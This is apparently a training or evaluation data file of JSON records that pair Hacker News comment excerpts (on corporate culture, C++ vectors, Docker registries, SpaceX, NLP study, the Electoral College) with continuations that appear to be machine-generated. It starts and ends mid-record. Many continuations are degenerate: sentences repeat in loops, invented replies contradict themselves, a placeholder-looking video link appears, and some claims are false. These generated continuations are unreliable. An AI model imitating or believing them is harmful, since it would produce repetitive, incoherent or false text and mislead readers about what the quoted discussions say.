advantage.\n\nThe power talk is a very important part of the corporate culture. It is\nimportant to understand how it works, and how to use it to your advantage.\n\nThe power talk is a very important part of the corporate culture. It is\nimportant to understand how it works, and how", "input_text": ". If you take this as\nfailure of management, you _can_ make demands from strength (of course in a\ndiplomatic and understanding way).\n\nAt any time, dev work may make you miss deadlines, and where's that\nreplacement?\n\n------\nkstrauser\n\"We don't have a training budget right now, for you anyway, but that will\nchange next year.\"\n\n~~~\nbrodouevencode\nSimilar to \"get certified and we'll see about getting you a raise\".\n\nGets certified, no raise.\n\n------\ntommilukkarinen\nI dont consider anything bs unless its about money or equivalent. I Dont say\nanything at first or something like 'I think about it'. Think about My\nresponse, and finally Ask on something around these lines: \"So your suggestion\nis X? And it would, unfairly, cause me Y?\"\n\n------\nBalgair\nYou need to understand the underlying dynamics of the modern corporation.\n\nEach one is structured differently, but they have general similarities. It\ntakes some time and study, though. One of the best lenses I have found to view\nthe corporation is 'The Gervais Principle'[0], now about 10 years young. Rao\nuses 'The Office' to illustrate the dynamics of the modern corporation.\n\nBroadly speaking: Sociopaths, in their own best interests, knowingly promote\nover-performing Losers into Clueless middle-management, groom under-performing\nLosers into Sociopaths, and leave the average bare-minimum-effort Losers to\nfend for themselves.\n\nOne of the key lenses is the idea of 'talk' and how people in a corporation\ntalk to each other. Specifically, the 'power talk' of how"} +{"output_text": " mean, it\u2019s not like\nAndroid/iOS are going to change their UI anytime soon.\n\n~~~\nYetAnotherNick\nI think it's a good idea to have a native look and feel. But I think it's\nbetter to have a native look and feel that is not the same as the native\nlook and feel of the platform.\n\n------\njames_pm\nI'm curious about the licensing. Is it MIT?\n\n~~~\nYetAnotherNick", "input_text": " probably the leading contemporary\napproaches for cross platform mobile.\n\n~~~\nYetAnotherNick\nI think it's written for ReactNative as no javascript is a strange wording. I\ndon't care as much for javascript as that for much less responsive webview.\n\n------\nsetquk\nMight want to check the name for trademark violation...\n\n------\nblueprint\nCan it ensure full access to native SDKs?\n\n~~~\nYetAnotherNick\nIt's open source. You can add any SDK you want. \"ensure\": no.\n\n------\nesokullu\nhow is this different from qt-mobile?\n\n~~~\nrhodysurf\nit uses C++ and not QML for the interface, the UI components are actually\nnative, you can use templates, etc.\n\n~~~\nk__\nSo it's like React-Native, but wirh C++ instead of JS?\n\n~~~\nrhodysurf\nYes exactly. If you look at the code, it basically is just using pure virtual\nprovider classes to allow JNI on android and OBJC++ on iOS to provide the\nnative system UI components. Its pretty elegant actually.\n\nThe only problem becomes that it is a lot of code to manually maintain or\nbootstrap. And possibly a decent amount of effort to add new platform widgets,\nbut I didn't look very deeply into how exactly that would be done.\n\n------\nSignez\n> Native widgets: Instead of drawing widgets that look nearly identical to the\n> platform's design, Boden uses native OEM widgets ensuring that your app will\n> always have a truly native look and feel.\n\nWhile I fully understand the underlying concept, I don\u2019t understand why so\nmany people seems to be bothered by that anymore; I"} +{"output_text": " to a lot of code pointer chasing.\n\n~~~\nwillvarfar\nIvan's talk is here:\n[http://www.youtube.com/watch?v=0_0_0_0_0o](http://www.youtube.com/watch?v=0_0_0_0_0o)\n\n------\njoe_the_user\nI'm not sure I understand the point of this.\n\nThe Mill is a compiler", "input_text": ", and the porting effort was interrupted by their emergence\nfrom stealth mode to file patents.\n\n~~~\nMjolnir\nThanks, I'll have a look at the talks.\n\n------\nfleitz\nGreat idea, since it's all theoretical currently I'm wondering with the\ncompiler offloading how well it will actually perform. Itanium was capable of\ndoing some amazing things, but the compiler tech never quite worked out.\n\n~~~\nwillvarfar\nAh, but the Mill was primarily designed by a compiler writer ;)\n\nHere's Ivan's bio that is tagged on his talks:\n\n\"Ivan Godard has designed, implemented or led the teams for 11 compilers for a\nvariety of languages and targets, an operating system, an object-oriented\ndatabase, and four instruction set architectures. He participated in the\nrevision of Algol68 and is mentioned in its Report, was on the Green team that\nwon the Ada language competition, designed the Mary family of system\nimplementation languages, and was founding editor of the Machine Oriented\nLanguages Bulletin. He is a Member Emeritus of IFIPS Working Group 2.4\n(Implementation languages) and was a member of the committee that produced the\nIEEE and ISO floating-point standard 754-2011.\"\n\nSo actually its been designed almost compiler-first :)\n\n~~~\nfleitz\nStill interested in how it works in practice. I'm pretty sure the Itanium team\ncombined with Intel's compiler team have similar credentials.\n\nI'm not saying it can't work, not saying it won't work, but we know that most\ncode pointer chases. While CPU and compiler design is above my paygrade I know\nthat often a lot of fancy CPU/design and compiler tricks that make things\ntwice as fast on some benchmark leads"} +{"output_text": " a job.\n\n[1] [http://www.kalzumeus.com/2012/01/31/dont-call-yourself-a-\npro...](http://www.kalzumeus.com/2012/01/31/dont-call-yourself-a-programmer/)\n\n[2] [http://www.kalzumeus.com/2012/02/01/salary-\nnegotiation/](http", "input_text": "?\n\n------\ndylangs1030\nI'm a bit late to this, but I'll give you my experience. It echoes what others\nhave said to some extent.\n\nIn every instance I've applied for a job, it began with my casually (but\nassertively) stating interest. Here is the process I go through (you could\ncall it my job hunting \"workflow\"):\n\n1\\. I read about an interesting company or meet/talk to someone with\nconnections to an interesting company.\n\n2\\. I learn what I can about them, researching for a few hours, deciding if\nI'd enjoy it (on a cursory level).\n\n3\\. I contact people with _decision making ability_ and politely but\nassertively state my interest. Note - I don't send a resume (you can, I\ndon't).\n\n4\\. Most cases, I've gotten through an entire hiring process without being\nasked for a resume. If they happen to ask, it generally suffices to show them\nmy portfolio of prior work. This is in fact as simple as linking the list of\nprojects I've authored on my blog with corresponding code.\n\n5\\. Technical interview(s). Negotiation. Wrap up. Bam, you're done.\n\nI highly, _highly_ suggest you read patio11's \"Don't Call Yourself a\nProgrammer\"[1] and \"Salary Negotiation\"[2]. No, really, read both. Absorb\nevery kernel of knowledge.\n\nThe importance of a resume is _grossly_ overestimated, as is the importance of\na transcript. Don't show a piece of paper, show the knowledge that your\neducation provided you with. Connections are important, and will field you the\nmost significant leads in finding"} +{"output_text": " minute window.\n\n~~~\n_nedR\nI know, but it's a hack. I'm not saying it's a good hack.\n\n------\njosteink\nI'm not sure if I'm missing something, but isn't this just a re-hash of the\nsame old arguments?\n\n\"The Internet is broken\"\n\n\"The Internet is broken because it's centralized\"\n\n\"The Internet is broken because it's centralized\"\n\n\"The", "input_text": " the need for a global state. But without central server, this can only\nbe achieved with DHT, where the first two problems are even worse. Note the\nexisting DHTs are all used for long running \"sessions\" where the session is\nthe availability of a torrent. User presence is a lot more ephemeral.\n\nAnd there's the original problem for P2P apps, of course: bootstrapping. Peers\ndon't come online knowing all their other peers on the Internet. There has to\nbe a way for them to discover each other, which, without Internet-wide\nmulticast, means a central server. If you're going to have to solve this\nproblem, you might as well solve the others.\n\nThere is actually a thread on p2p-hackers mailing list about this exact issue.\nMany experienced P2P devs agreed that whenever you can get away with a\ncentralized solution, you should go for it. In this context, partially\ncentralizing Skype as they did makes complete sense.\n\n------\nvbezhenar\nAnother concern: modern HTTPS use SNI standard and those who sniff your\ntraffic, can extract the hostname from this traffic, because it's not\nencrypted yet. So DNS sniffing is not necessary, if I understand everything\ncorrectly.\n\nI would consider that as misuse of DNS. User id must be in request parameter\nor path, not in hostname.\n\n------\n_nedR\nWhile you're at it Microsoft, please also give a way for users to remotely log\nout all active sessions on other computers and devices.\n\n~~~\nmglinski\nIt's a terrible hack, but changing your Skype password via their website does\nlog you out of all active sessions within a 2-5"} +{"output_text": "------\njchw\nI\u2019m not sure I understand the point of this. It seems like it\u2019s just a\ndifferent way of saying \u201cdon\u2019t use Docker\u201d.\n\n~~~\njchw\nI guess I\u2019m not understanding the point of this. It seems like it\u2019s just a\ndifferent way of saying \u201cdon\u2019t use Docker\u201d.\n\n~~~\njchw\nI guess I\u2019m not understanding the point of this. It seems", "input_text": " without explicitly pulling from Docker Hub.\n\nIn the case that you're building new images (likely), it'll need to pull the\nbase images from Docker Hub. However, if you pull the base image(s) from\nDocker Hub first, you can tag them and store them in your local (or hosted)\nregistry, then refer to those explicitly instead.\n\nFor example (using a Cloudsmith hosted registry):\n\n \n \n docker pull alpine:3.8\n docker tag alpine:3.8 docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n docker push docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n \n\nNow, instead of the usual FROM directive:\n\n \n \n FROM alpine:3.8\n \n\nYou can refer to your own copy of alpine:\n\n \n \n FROM docker.cloudsmith.io/your-account/your-repo/alpine:3.8\n \n\nAs you can see Docker's syntax doesn't make this extremely pleasant, and\nyou'll have to change existing Dockerfiles to point at the base images, but\nit's certainly possible to mirror your dependencies without rebuilding.\n\nCaveat: The downside is that you have to trust those dependencies at the exact\npoint you pull them down, so I concede it is still not perfect _without_\nrebuilding the lot. :-)\n\n------\nlumjjb\nAnother reason to have Encrypted Container Images :)\n[https://github.com/opencontainers/image-\nspec/issues/747](https://github.com/opencontainers/image-spec/issues/747)\n\n"} +{"output_text": " sugar\" in the same way\nthat we are \"addicted to heroin\".\n\n~~~\nmistercow\n>I took addictive in the sense that we are \"addicted to sugar\" in the same way\nthat we are \"addicted to heroin\".\n\nI don't think that's a fair comparison.\n\nHeroin is a drug that is physically addictive, and sugar is a food that is\nphysically addictive.\n\n~~~\njere\n>", "input_text": "\n\"I believe that the solution to this problem is exercise, and those who would\nlike to decrease their weight should try different sport activities.\"\n\nWhat about eating healthier? That strikes me as a more effective and\nmaintainable solution.\n\n~~~\nbonesinger\nyou are absolutely right. Eating healthy is more important than exercise and\nthe two together will lead to an overall improvement in health.\n\n[http://www.sciencedaily.com/releases/2012/10/121015142405.ht...](http://www.sciencedaily.com/releases/2012/10/121015142405.htm)\n\nThough its a small sample and an extreme one at that, the contestants' diets\naccounted for approximately 65% of their weight loss.\n\n~~~\neru\n> Eating healthy is more important than exercise\n\nFor losing weight. For health in general, both seem about equally important.\n(And lots of exercise will allow you to get away with a crappy diet much\neasier.)\n\n------\nmistercow\n>Chinese people are now so addicted to sugar\n\nThis is supposed to be a list of \"facts\" but in reality, the \"sugar is\naddictive\" hypothesis is still, well, a hypothesis.\n\n>that the government is scared that there will be political unrest if the\nprice of sugar goes up\n\nIt's the _Chinese government_. \"Scared that there will be political unrest if\nX\" is their default state for any untested X.\n\n~~~\njere\n>This is supposed to be a list of \"facts\" but in reality, the \"sugar is\naddictive\" hypothesis is still, well, a hypothesis.\n\nI took addictive in the sense that we are \"addicted to"} +{"output_text": "quarterly_results/)\n\n~~~\njlgaddis\n> _You missed Red Hat, who seem to be the only company having major success\n> with OpenStack_\n\nI'm not sure I'd call Red Hat \"having major success\" with OpenStack.\n\n~~~\nnul_byte\nI'm not sure what you mean by \"major success\" \\- Red Hat are the only company\nto have a significant number of OpenStack deployments, and they are", "input_text": "\nIBM is in a continual process of downsizing its hardware divisions in pursuit\nof higher earnings per share. It seems their big push is cloudfoundry, which\nseems to be more about containers and k8s.\n\nSo why are they bailing? I'm guessing:\n\n\\- it's way harder to hire support staff for OpenStack, than VMWare \\- AWS\nreduces capital costs and upfront investments \\- Customers on existing\nsolutions aren't prepared to take advantage of new opportunities \\- Many of\nthese companies have existing product lines they don't wish to disrupt\n\n~~~\nnul_byte\nYou missed Red Hat, who seem to be the only company having major success with\nOpenStack [1]\n\nMost of IBM, Intel, HPE etc have thrown in the towel and now offer their own\nservices on top of Red Hat OpenStack.\n\nOpenStack has now found itself beyond enterprise, and now being the de-facto\nplatform for NFV running mobile networks, and I guess Red Hat are becoming the\nwinner here as they are so used to supporting an OpenStack 'type of'\ninfrastructure for large bodies such as banking, telco, health etc. When you\nconsider Red Hat are already large well established contributors to all of the\nlayers of the OpenStack'stack' such as KVM/QEMU, libvirt, the kernel itself,\n+ overlay networking tech such as OVS, and now DPDK, you can see why they are\nwell positioned to support and run OpenStack clouds.\n\n[1]\n[https://www.theregister.co.uk/2017/03/28/red_hat_cloud_quart...](https://www.theregister.co.uk/2017/03/28/red_hat_cloud_"} +{"output_text": " not perfect.\n\n------\njoezydeco\nI'm not sure I understand the point of this article.\n\nThe author is saying that 3D printing is a fad, and that it's not going to\nlast.\n\nBut the author is also saying that 3D printing is going to be a big deal.\n\nSo what's the point?\n\n~~~\njoezydeco\nI guess I'm just not seeing the point of this article", "input_text": " cheaper in many area's. People spend a lot of money on Lego and with that\nalone the market for 3D printers has a place. Not saying rip of Lego bricks\nbut that people like to play and create things and whilst Lego is targeted at\nchildren it still endures with many a adult.\n\nInitialy with the costs of a good printer that can use robust 3D ink we will\nsee your local printers embacing the new avenue and many other outlets\noffering a 3D printing service. The home consumer market will grow, costs will\ndrop but. As I said with the initial introduction of laser printers and other\nprinting types, initial they were expensive, but only got better and cheaper\nand permuated into more purchsing budgets/needs over using your local print\nshop.\n\nWith markets most people will work out the direction and then end up dooming\nit all as it does not happen as quickly as they can think about it. Markets\nare funny slow beasts that operate on various timelines and with new\ntechnology the initial market is the niche that opens the crack or not into\nlarger markets. I certainly see a larger market given the ever expanding craft\nmarket and with the same insight into how laser printers started and ended up\nat, let alone coloured printing, which was many years ago the work of a\ndedicated print shop.\n\nALso worth remembering that industry today has milling machines and flow-jet\nwhich will take a solid block of metal and turn it into your defined shape. 3D\nprinting is not metal and with that is targeting different markets and we are\na long way from the univeral replicator perception most seem to think 3D\nprinting is. That is a long way off, heck how long has it taken to get the\nperfect monitor, close but still"} +{"output_text": " to reproduce the work. But you don't own the work itself.\n\n~~~\nxn\nI think the distinction is that the work is not being reproduced for the\npurpose of being used as a part of the review.\n\n------\njoshu\nI think the problem is that the image is not being used as a part of the\ncomment.\n\n------\njoshu\nI think the problem is that the image is not being used as a part of the", "input_text": " works?\n\nSurely this has come up before yet I am having trouble finding a similar case.\n\n------\nEGreg\nThis is the problem with importing PUBLIC CONTENT YOU FIND ON THE INTERNET\ninto a website. Not uploading from your computer, or importing from your own\naccount somewhere on another site. If the website actually makes a copy of the\nmedia (picture, etc.) and stores it on their servers, they should hope that\nthe DMCA still considers them a safe harbor.\n\nI think their best bet is to store the images only as a cache, and not as a\npermanent import. If the site owner decides to take down the original, then\nthe cache should disappear soon thereafter.\n\n------\ndanboarder\nPinterest is more like a visual social bookmarking service than a blog. When\npeople save bookmarks or share links on delicious or reddit or even twitter,\nof course they don't claim ownership of that content, it's just a bookmark.\nSimilarly, with Pintrest people are saving a visual bookmark of something they\nsaw that was interesting out on the web or on other social streams, tumblr,\netc. I think a lot of people are missing the point here.\n\n------\nxn\nIf posting an image with a comment is fair use, then arguably the combination\nof the image and the comment constitute the Member Content for which the\nposter is claiming ownership.\n\nIf I publish a review of a work of art, including a reproduction of the work,\nin a magazine, my copyright would cover the entire article including the\nreproduction. I wouldn't be claiming copyright on the original work.\n\n~~~\najross\nThat's pretty much how I see it too. Yes, you own the review, which includes\nthe right"} +{"output_text": " so.\n\n~~~\njiganti\nI'm not sure if this is the right product for you, but I've been using a\nsimilar product for a while now and it's been great.\n\nI set my alarm for a certain time, and then I set my phone to vibrate for a\ncertain amount of time. I then set my phone to vibrate for a certain amount of\ntime, and then I set my phone to vibrate for a certain amount of", "input_text": " on 25th Nov 2009, refunded\non 4th August 2010 but with a shortfall due to currency conversion differences\nso I'm basically out of pocket (admittedly only a bit) due to lack of product.\n\nAs I've said previously, I actually don't even own the phone anymore that I\nintended to use this product with. I just hope for the sake of the company\nthat this is the beginning of the end of their constant problems.\n\n------\nbennesvig\nDo you guys not have a fan page on Facebook?\n\n------\nkgutteridge\nWell done guys, shipping a hardware and a software product was never going to\nbe easy! hopefully you can now reap the rewards though of having a hardware\nproduct, thats far far harder to replicate\n\npre ordered back in April so looking forward to receiving sometime in the new\nyear I suspect, as it will be an international order.\n\n------\nbrianmwang\nFYI, the following repeats under your FAQ question \"What is an 'optimal wake\npoint?'\"\n\nAn optimal wake moment can be thought of as a \"semi-awake\" moment \u2013 the\nlightest point in your sleep. Waking at these times will result in minimal\nsleep inertia or grogginess. More info can be found here: The Science of\nWaking\n\n------\njiganti\nSounds cool! Just ordered mine. I think you guys are addressing a real problem\nhere, hopefully it works well.\n\n------\njtagen\nDoes anyone know if this can be used effectively for power naps throughout the\nday? I'd love to nap, but tend to sleep for an hour plus. If I set a\ntraditional alarm, I always feel like I'm jarred awake and a little off for\nthe next hour or"} +{"output_text": "place_back](http://en.cppreference.com/w/cpp/container/vector/emplace_back)\n\n------\njokoon\nI wonder if it's possible to use a vector of vectors, and have the inner\nvectors be allocated on the stack.\n\nI think it would be a good idea to have a vector of vectors, and have the\ninner vectors be allocated on the stack.\n\n~~~\njcelerier\n> I wonder", "input_text": "\nA few years ago I tried to get a reallic which did not move (instead returned\nfail) into glibc and jealloc and failed. Glad to see someone else has\nsucceeded.\n\n------\nshin_lao\nI think the Folly small vector library is much more interesting and can yield\nbetter performance (if you hit the sweet spot).\n\n[https://github.com/facebook/folly/blob/master/folly/docs/sma...](https://github.com/facebook/folly/blob/master/folly/docs/small_vector.md)\n\nFrom what I understand, using a \"rvalue-reference ready\" vector implementation\nwith a good memory allocator must work at least as good as FBVector.\n\n------\njeorgun\nApparently the libstdc++ people aren't entirely convinced by the growth factor\nclaims:\n\n[https://gcc.gnu.org/ml/libstdc++/2013-03/msg00059.html](https://gcc.gnu.org/ml/libstdc++/2013-03/msg00059.html)\n\n------\ncliff_r\nThe bit about special 'fast' handling of relocatable types should be obviated\nby r-value references and move constructors in C++11/14, right?\n\nI.e. if we want fast push_back() behavior, we can use a compiler that knows to\nconstruct the element directly inside the vector's backing store rather that\ncreating a temporary object and copying it into the vector.\n\n~~~\nmarksamman\nemplace_back was added in C++11 which does just that:\n[http://en.cppreference.com/w/cpp/container/vector/em"} +{"output_text": " radiation are the ones who are\nactually in danger, and the ones who are not, are the ones who are not\nworried.\n\n~~~\nsorbus\nI don't think that's the case. The people who are not worried are the ones who\nare not in danger. The people who are worried are the ones who are in danger.\n\n~~~\nhrktb\nI don't think that's the case either.\n\nThe people who are worried are the", "input_text": " claim radiation is not an issue.\nWhy doesn't this gentleman volunteer to assist at the plants if he thinks\nradiation is no danger at all.\n\n------\nstewbrew\nWho is \"we\"? If the the author speaks for himself, I have no objection against\nhim moving to Fukushima or buying a house close to another nuclear power\nplant. I'm sure there are people willing to sell and the price for real estate\nin those areas has most likely dropped considerably in the last few decades.\n\n~~~\nsorbus\nI wouldn't be so sure about your implication that nuclear power plants reduce\nproperty prices: \"In each of the seven regions, housing and real estate values\nhave benefited from the operations of the nuclear facilities: total property\nvalues, assessed valuations and median housing prices have often increased at\nrates above the national and state averages. In each local area, housing\nprices were several times higher than prior to the opening of the nuclear\nfacilities, and there is evidence that in Barnwell, proximity to the nuclear\nfacility may actually increase housing values.[1]\"\n\n[1] \n\n~~~\nstewbrew\nFor apparently no clear reason, nuclear power plants are often built near the\nborder. Usually people on the other side of the border usually don't profit in\nwhatever way from the power plant. The situation may be different if you live\non an island.\n\n------\nhrktb\nWhat makes me uneasy about this kind of call is that the situation at\nFukushima is ungoing, but we hear a lot of \"the levels are ridiculous _right\nnow_, what you're scarred of?\".\n\nThe people running away or worrying about"} +{"output_text": "I'm not.)\n\nI think the idea of a \"consultant\" is a good one, but I think it's a bit\nmisleading. I think the term \"consultant\" is a bit of a misnomer.\n\nI think the term \"consultant\" is a bit of a misnomer because it implies that\nthe consultant is a person who is paid to provide advice. I think the term\n\"consultant\" is a bit", "input_text": "my_ problem, but some of my friends were talking about it:\nsomething like Kickstarter, but for consultants. The genius of Kickstarter is\nthe \"transactional\" (in the database sense of the word, wherein a set of\noperations is packaged so that either all happen or none do) nature of the\nthing: either the money is raised, or not; and if not, it's all returned to\npledgers. If the consultant gets enough pledges/work to cover the next N\nmonths (N = 8 to 12) then they get the money and can start out as consultants.\nIf they don't, the money goes back and they continue with their day jobs.\n\nOne of the problems with consulting is that it's really hard for most people,\nwhile employed, to line up enough work that they can become consultants in the\nfirst place. Most people will never get the chance, even if they have the\ntalent, because they can't front the initial financial cost. This keeps a lot\nof people out of self-employment who would otherwise be a better fit for it.\n\nThe Kickstarter-esque idea seems strong, but the biggest problem with this\nidea is that people who have serious ($150+ per hour) work to offer generally\ndon't solicit on the Internet if they can help it. They prefer to source\nthrough word-of-mouth, which is pre-technological and broken and leads to that\nimbecilic situation where you have to be in to get in... but I don't make the\nrules.\n\nThat's why I haven't pursued it. It's one of those startups that requires\nfixing people, and any startup that goes long on human nature is facing\nextremely bad odds.\n\n~~~\npeteforde\nNot everyone should be freelancers. ("} +{"output_text": " boosters, and think that's the way it's done.\n\n~~~\njessaustin\n_It also shows how clever it was to livestream so much of what they do._\n\nI'm not sure that's true. I think it's more likely that they were just\nfollowing the same pattern that they've followed for years:\n\n1\\. Launch a rocket.\n\n2\\. Watch it fail.\n\n3\\. Fix the problem.\n\n4", "input_text": ", and the voice search/navigation is really amazing. The Market has some\npretty cool apps on it too, not as many as the iPhone, but plenty.\n\n \nSpaceX Launch: Starlink 12 [video] - cjnicholls\nhttps://www.youtube.com/watch?v=_j4xR7LMCGY\n======\ncodeulike\nEveryone is commenting saying how mundane it has become to see the landings.\nHence you might enjoy this official SpaceX Blooper reel from 2017 that shows\nthe numerous spectacular failures that they worked through.\n\nInnovation is a type of gamble. People forget that.\n\n\"SpaceX: How Not to Land an Orbital Rocket Booster\"\n\n[https://www.youtube.com/watch?v=bvim4rsNHkQ](https://www.youtube.com/watch?v=bvim4rsNHkQ)\n\n(and regular reminder that these things are 12-storey high explosive tubes)\n\n~~~\nskvark\nIf the Falcon 9 landings feel mundane, I would recommend to follow Starship\ndevelopment. Starship SN6 might do a 150 meter hop later today:\n[https://www.youtube.com/watch?v=Ky5l9ZxsG9M](https://www.youtube.com/watch?v=Ky5l9ZxsG9M)\n\n------\nmabbo\nThe true beauty of SpaceX is that they've made landing their boosters boring\n(almost). This makes their competitors throwing them away seem stupid.\n\nIt also shows how clever it was to livestream so much of what they do. So many\npeople have seen a rocket booster land. Children today will hear that ULA\ndoesn't land their"} +{"output_text": "us\n_I\u2019m not sure if I\u2019m going to be able to find a job in the next few months\nbecause of this._\n\nI'm not sure if I'm going to be able to find a job in the next few months\nbecause of this.\n\n------\njoshu\nI'm not sure if I'm going to be able to find a job in the next few months\nbecause of this.\n\n------\njoshu\nI'm", "input_text": " who are just fine with that kind of work. I\ndon't understand that ethical space at all - but from what I've seen they\nsimply don't understand why anyone would have a problem with what they do.\n\n~~~\nShroudedNight\nI got this information second hand, but for what it's worth: There was a\ngraduate student at my university that was well known and highly regarded for\nhis stellar software engineering skills. At one point he took a job writing a\nmissile guidance system. His reasoning was that there were two options, either\nhe wrote the system, and could make damn sure it worked exactly to spec, or\nsomeone else would write the system, and do about as good a job as the other\ncomplex software engineering projects he had encountered. In essence: he took\nthe job to minimize collateral damage.\n\n------\nzem\ni'm surprised the article never explicitly spelt out the main point - for most\npeople, accepting a job offer is a major sunk cost, so it's a lot harder to\nquit a job even after a few months than it is to reject an offer from the\noutset. i'm pretty sure 50onred were counting on that.\n\n------\nalaskanloops\nOdd that there aren't any visitor posts on their facebook page..\n\n------\ndaheza\nMy friend works at Spokeo. If you don't know about them they are basically a\npeople search engine. He keeps asking me to work there, but I just cant get\nover the moral implications of scrapping peoples lives and putting it up for\nviewing for a price. Something about the product just scratches me wrong so I\nhaven't applied. It is really too bad as their tech seems solid and the\noffices are amazing.\n\n------\ngai"} +{"output_text": "0398)\n\n------\njoe_the_user\nI've been doing a lot of NLP lately and I've found that the best way to learn\nis to read a lot of books and papers.\n\nI've found that the best way to learn NLP is to read a lot of books and papers\non NLP.\n\nI've found that the best way to learn NLP is to read a lot of books and papers\non NLP.\n", "input_text": "-\nprocessing/)\n\n~~~\nnavyad\nDidn't know of this, highly helpful, thanks.\n\n------\nhaidrali\nKeep reading and practice with this book\n[http://www.nltk.org/book_1ed/](http://www.nltk.org/book_1ed/), when you will\ncomplete this book you will have a good understanding of NLP. Sample product\nto work on suggestion would include\n\nImplementing a classifier, For detail of it you can look at 13 chapter of\n[http://nlp.stanford.edu/IR-\nbook/pdf/irbookonlinereading.pdf](http://nlp.stanford.edu/IR-\nbook/pdf/irbookonlinereading.pdf)\n\nCover topics like Sentiment analysis, Document Summarisation etc\n\n~~~\ntu7001\nThe information retrieval book is great lecture, I'm going through this and\nimplement algorithms, learn a lot.\n\n~~~\nhaidrali\nI have implemented these two algorithms back in 2013 do check it out\n[https://github.com/wonderer007/Naive-Bayes-\nclassifier](https://github.com/wonderer007/Naive-Bayes-classifier)\n\n------\nkyrre\nno point wasting your time on nltk:\n\ncs224d (videos, lecture notes, assignments)\n\na similar course: [https://github.com/oxford-cs-\ndeepnlp-2017/lectures](https://github.com/oxford-cs-deepnlp-2017/lectures)\n\ngood paper: [https://arxiv.org/abs/1103.0398](https://arxiv.org/abs/1103."} +{"output_text": " the US until\nthe LS400 was introduced in 1989.\n\n~~~\njaclaz\n> Toyota didn't introduce the Lexus name and alphanumeric naming to the US\n> until the LS400 was introduced in 1989.\n\nI think that the Lexus name was introduced in the US in the early 80s, but\nthat the Lexus LS400 was introduced in 1989.\n\n~~~\namyjess\nI'm pretty sure that the Lexus LS400", "input_text": " alphanumeric names as the luxury cars and the\n> name-names as mass-market cars. You did this even though there are at least\n> two cars in there you\u2019ve never heard of, because I just made them up.\n\nThe tagline totally ruins the effect of this. \"How a jumble of numbers and\nletters came to convey fanciness, while cute names came to mean value.\" Kind\nof gives the game away, even if I didn't recognize any of the cars.\n\n(As it happens, I only recognize Yaris and Fiesta. I might have guessed based\non those.)\n\n~~~\nhammock\nStill wouldn't matter even if they hadn't given it away in the subheadline,\nbecause the author cherry-picked the model names to support his point.\n\n------\ntrumbitta2\nSo my Citroen C3 is a luxury car. Good to know.\n\n~~~\nhawski\nI think that it is (a surprise) an American point of view. For example the\nmost popular car in communist Poland was Fiat 126p [0].\n\n[0]\n[https://en.m.wikipedia.org/wiki/Fiat_126](https://en.m.wikipedia.org/wiki/Fiat_126)\n\n------\namyjess\nOne thing interesting is that when Lexus and Infiniti were created, the cars\nwere all models that were already being sold in Japan under regular non-\nalphanumeric names.\n\nFor example, the Lexus LS400 was sold in Japan as the Toyota Celsior, and the\nInfiniti Q45 was sold in Japan as the Nissan President.\n\nToyota didn't introduce the Lexus name and alphanumeric naming to"} +{"output_text": "~~~\njessaustin\n_I think you 've killed less people working on literal sniper rifles for the\nmilitary than working on the addictive feed dynamics of Facebook, given the\nRohingya massacre and other social ills they've supported._\n\nI don't think that's true. The military is a lot more selective about who they\nwork with.\n\n~~~\nNotAnEconomist\nI think you're right, but I think the military is also", "input_text": " proposed tank design by using real time 3d graphics and order\nindependent transparency in particular to estimate armor strength against\nattacks from different directions. Originally, OIT was developed for games and\n3d data visualizations.\n\nI think that technology that can be used to protect people, especially\ncivilians, should be developed. I know that I personally draw the line at\nweapoms platforms and weapon systems. You may develop and build them with the\nbest intentions in mind (\"we're at peace and this system is only a necessary\ndeterrent\"), but recent history tells me that once these systems are built and\nsold, they will be used by someone, somewhere to shoot at other people. Even\nthe oh so pacifist Germany sells a lot of weapons and I think every type of\nweapon system sold to another country by Germany since the second world war\nhas seen some action.\n\n~~~\nNotAnEconomist\nI think you've killed less people working on literal sniper rifles for the\nmilitary than working on the addictive feed dynamics of Facebook, given the\nRohingya massacre and other social ills they've supported.\n\nI think a lot of people in tech work on really questionable projects that\ncreate huge social ills, then talk about \"Well, at least we don't build\nweapons!\" \\-- ignoring that when measuring human suffering, their unrestrained\nmanipulation and exploitation causes much more than weapons of war do, in\npractice.\n\nSo when unqualified, I tend to hear your argument as simply trying to hide the\nmessiness of what you do, rather than than it's inherently more ethical than\nbuilding weapons would be.\n\ntl;dr: I don't believe the military is less ethical, I think they're just more\nhonest about what they do.\n\n"} +{"output_text": "\nfixed, and that the number of representatives would be proportional to the\npopulation.\n\nThe number of representatives has been increased to 435, but the number of\npeople per representative has not.\n\n~~~\nmatt4077\nI don't think that's a good idea.\n\nThe number of representatives is set by the Constitution, and is not\nproportionate to population.\n\nThe number of senators is set by the Constitution, and is proportionate to\npopulation.", "input_text": " do care about terminal UIs, this isn 't a realistic\n> solution._\n\nRight, but I was never suggesting people don't care about terminal UIs nor\nthat shells don't offer a valuable function. In fact the opposite is true:\nI've written my own shell because I thought I could create a better UI/UX than\nBash.\n\n------\nbeaker52\nThis explains why I've seen % when the prompt has been missing for whatever\nreason.\n\n------\nChristianBundy\nI learned a new thing today, thanks for posting this!\n\n \nThe Case for Dumping the Electoral College - car\nhttps://www.newyorker.com/magazine/2020/09/21/the-case-for-dumping-the-electoral-college\n======\ncompycom\nOne half solution that people don't tend to bring up: massively increase the\nnumber of members of congress. The formula for a states representation in the\nelectoral college is {number of senators + number of representatives}.\n\nSince the senate is fixed at 2 senators per state, it massively advantages\nsmall states in terms of political power per person. The number of\nrepresentatives per state is currently set at 435, and is allocated\nproportionately to population. This number is arbitrary, and can be changed by\nan act of congress. Increasing it will dilute the power of the electors from\nthe Senate.\n\nThere's also compelling reason to increase the number of for its own sake: the\nnumber of people per representative is higher now than it has ever been. And\nit's much higher than other Western democracies.\n\nWhen the Constitution was written, the number of representatives was set so\nthere'd be one for every 30,000 people. The idea was that the number would be"} +{"output_text": " have the data.\n\n3.2) Google's search engine is now the best in the world. Google's search\nengine is now the best in the world. Google's search engine is now the best in\nthe world. Google's search engine is now the best in the world. Google's\nsearch engine is now the best in the world. Google's search engine is now the\nbest in the world. Google's search engine is now the best in the world.\n\n", "input_text": " hoard is in\nthe public interest and must be made publicly available. Anyone can now search\nall that stuff about you, all your emails, their contents. Have you ever\nwanted a stalker? Have any jealous friends? Is there nothing you would like to\nforget? Think employer-employee profiling, discrimination and bullying can't\nget much worse?\n\n3) Nobody emerges as a Google sized competitor. Google becomes the de-facto\nchoice for advanced image, video, audio processing. Google announces Google\nCCTV - desirable for companies because of the unlimited storage, web\naccessibility and tremendous analysis capability. Voices are transcribed,\npeople are tracked, identified by sight, motion, limb length, 